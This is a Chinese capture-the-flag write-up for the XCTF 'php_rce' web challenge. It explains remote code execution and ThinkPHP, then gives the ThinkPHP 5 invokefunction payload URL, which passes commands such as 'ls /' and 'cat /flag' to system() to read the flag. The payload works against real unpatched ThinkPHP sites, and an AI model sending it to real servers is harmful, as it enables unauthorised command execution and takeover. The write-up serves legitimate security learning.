1. 程式人生 > 其它 >攻防世界-web高階區-php_rce

攻防世界-web高階區-php_rce

前置知識

rce(遠端程式碼執行漏洞)

1. 什麼是遠端程式碼執行漏洞
遠端命令/程式碼執行漏洞,簡稱RCE漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。RCE分為遠端命令執行ping和遠端程式碼執行evel。

2. 漏洞產生的根本原因
伺服器沒有針對執行函式做過濾,導致在沒有指定絕對路徑的情況下就執行命令。

遠端程式碼執行的漏洞

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=xxxxx(命令)

ls檢視

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

上一級 ls ../

根目錄下 ls /

查詢flag find / -name "flag"

發現 flag開啟flag cat /flag

Think PHP介紹

ThinkPHP是為了簡化企業級應用開發和敏捷WEB應用開發而誕生的。最早誕生於2006年初,2007年元旦正式更名為ThinkPHP,並且遵循Apache2開源協議釋出。ThinkPHP從誕生以來一直秉承簡潔實用的設計原則,在保持出色的效能和至簡的程式碼的同時,也注重易用性。並且擁有眾多原創功能和特性,在社群團隊的積極參與下,在易用性、擴充套件性和效能方面不斷優化和改進。

ThinkPHP是一個快速、相容而且簡單的輕量級國產PHP開發框架,誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP,遵循Apache2開源協議釋出,從Struts結構移植過來並做了改進和完善,同時也借鑑了國外很多優秀的框架和模式,使用面向物件的開發結構和MVC模式,融合了Struts的思想和TagLib(標籤庫)、RoR的ORM對映和ActiveRecord模式。

存在遠端控制漏洞

解題過程

關鍵路徑

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=

在url後新增?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

發現flag檔案

在url後新增?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=cat /flag

獲得flag